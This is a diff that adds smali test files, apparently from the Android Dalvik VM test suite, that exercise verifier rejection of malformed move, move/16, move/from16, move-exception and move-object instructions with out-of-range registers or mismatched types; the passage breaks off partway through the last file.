+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali
new file mode 100644
index 0000000..ec26b16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_3.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const v0, 0
+
+       move v15, v0
+
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali
new file mode 100644
index 0000000..f8f1574
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_4.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move v1, v8
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali
new file mode 100644
index 0000000..b5e136f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_5.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v0
+
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali
new file mode 100644
index 0000000..6f560cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_6.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v1
+
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali
new file mode 100644
index 0000000..6e30237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_7.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const v5, 0
+
+       move v1, v5
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali
new file mode 100644
index 0000000..f6f1305
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_3.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/16 v0, v5000
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali
new file mode 100644
index 0000000..7bac6fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_4.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v0, 0
+       move/16 v5000, v0
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali
new file mode 100644
index 0000000..89b2cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_5.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/16 v0, v4999
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali
new file mode 100644
index 0000000..836bfcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_6.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v123, 123
+       move/16 v255, v123
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali
new file mode 100644
index 0000000..3cbf8fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_7.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move/16 v255, v124
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali
new file mode 100644
index 0000000..b683bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_8.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/16 v124, v0
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali
new file mode 100644
index 0000000..f865a7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_1.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali
new file mode 100644
index 0000000..423f3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali

@@ -0,0 +1,31 @@
+.source "T_move_exception_3.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 1
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v6
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali
new file mode 100644
index 0000000..5002d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali

@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_5.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       nop
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali
new file mode 100644
index 0000000..6aae7bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_3.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali
new file mode 100644
index 0000000..9845ed7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_4.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move/from16 v5, v1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali
new file mode 100644
index 0000000..d7b28c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_5.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v4999
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali
new file mode 100644
index 0000000..df633f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_8.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/from16 v124, v0
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali
new file mode 100644
index 0000000..1333d92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_1.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 16
+
+       move-object v0, v15
+       
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali
new file mode 100644
index 0000000..2d2ec49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_2.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+
+.method public run()V
+.registers 9
+
+       move-object v15, v8
+
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali
new file mode 100644
index 0000000..ce8a919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_3.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+
+       move-object v1, v15
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali
new file mode 100644
index 0000000..a58a565
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_4.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const v0, 1
+       move-object v1, v0
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali
new file mode 100644
index 0000000..220594e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_5.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v0
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali
new file mode 100644
index 0000000..4e38784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_6.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v1
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali
new file mode 100644
index 0000000..3c8dd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_7.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_7;
